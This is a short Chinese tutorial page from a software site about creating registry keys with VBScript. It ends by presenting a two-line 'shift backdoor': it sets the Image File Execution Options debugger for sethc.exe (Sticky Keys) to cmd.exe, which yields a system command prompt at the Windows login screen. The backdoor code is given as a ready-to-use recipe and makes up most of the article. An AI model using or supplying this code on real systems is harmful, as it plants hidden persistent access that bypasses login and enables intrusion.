您的位置: 飞扬精品软件园 >> 文章中心 >> 安全防线 >> 安全防护 >> vbs创建注册表项

相关文章链接

本类文章排行

最新新闻资讯

    vbs创建注册表项

    vbs创建注册表项


    • 阅览次数: 文章来源: 原文作者: 整理日期: 2010-05-22

    利用vbs创建注册表值较简单,创建注册表项的话,网上多是用wmi来,例如代码:

    const HKEY_LOCAL_MACHINE = &H80000002
    strComputer = "."
    Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
    strComputer & "\root\default:StdRegProv")
    strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" ‘创建sethc.exe项
    oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath


    难道WshShell 对象的RegWrite 方法真的不可以吗?我仔细研究了一下,只需要在要加入的项后加\就可以,例如


    Set WshShell = WScript.CreateObject("WScript.Shell")
    WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\","","REG_SZ"


    所以我们创建shift后门的话,两句话就可以。


    Set WshShell = WScript.CreateObject("WScript.Shell")
    WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\debugger",WScript.CreateObject("WScript.shell").ExpandEnvironmentStrings("%SystemRoot%")&"\system32\cmd.exe","REG_SZ"
     


查看所有评论

网友对vbs创建注册表项的评论

网名:
主题:
内容:
验证码: